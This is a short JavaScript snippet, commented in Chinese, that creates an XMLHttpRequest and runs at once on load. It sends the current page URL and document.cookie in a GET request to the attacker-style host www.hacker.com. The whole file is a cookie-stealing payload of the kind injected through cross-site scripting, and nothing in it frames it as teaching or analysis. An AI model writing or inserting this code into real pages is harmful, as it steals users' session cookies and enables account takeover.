//XmlHttpRequest对象
function createXmlHttpRequest() {
    if (window.ActiveXObject) { //如果是IE浏览器
        return new ActiveXObject("Microsoft.XMLHTTP");
    } else if (window.XMLHttpRequest) { //非IE浏览器
        return new XMLHttpRequest();
    }
}
//跨域不支持发送
function send() {
    //1.创建XMLHttpRequest组建
    xmlHttpRequest = createXmlHttpRequest();
    //2.设置回调函数
    //xmlHttpRequest.onreadystatechange = zswFun;
    //3.初始化XMLHttpRequest组建
    xmlHttpRequest.open("get", "http://www.hacker.com/s?c=url:" + window.location.href + " cookie:" + document.cookie, true);
    //4.发送请求
    xmlHttpRequest.send();
}
send();